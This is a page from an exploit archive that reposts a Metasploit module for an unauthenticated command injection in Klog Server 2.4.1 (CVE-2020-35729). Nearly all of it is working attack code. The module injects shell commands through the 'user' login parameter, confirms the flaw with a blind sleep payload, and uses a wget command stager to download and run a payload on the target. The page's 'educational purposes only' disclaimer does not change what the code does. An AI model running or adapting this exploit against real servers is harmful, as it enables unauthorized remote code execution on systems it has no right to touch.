Klog server 2.4.1 unauthenticated command injection (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-25 | Type : webapps | Platform : php
This exploit / vulnerability Klog server 2.4.1 unauthenticated command injection (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info={})
super(update_info(info,
'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
"user" parameter is executed via shell_exec() function without input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[ 'B3KC4T', # Vulnerability discovery
'Metin Yunus Kandemir', # Metasploit module
],
'References' =>
[
['CVE', '2020-35729'],
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
],

'DefaultOptions' =>
{
'HttpClientTimeout' => 2,
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [
['Klog Server 2.4.1 (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X64,
}],
],
'Privileged' => false,
'DisclosureDate' => "2021-01-05",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
]
)
end

def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, " %0A ")
cmd.gsub!(/ /, '+')
cmd.gsub!(/\//, '%2F')

end

def execute_command(cmd, opts = {})
command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"

print_status("Sending stager payload...")
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => command_payload,
'pswd' => "inline"
}
})
if res && res.code == 302
print_error("The target is not vulnerable!")
else
print_good("The target is vulnerable!")
end
end

def check
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
'pswd' => "inline"
}
})
if res && res.code == 302
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end

def exploit
print_status("Exploiting...")
execute_cmdstager(flavor: :wget, delay: 10)
end
end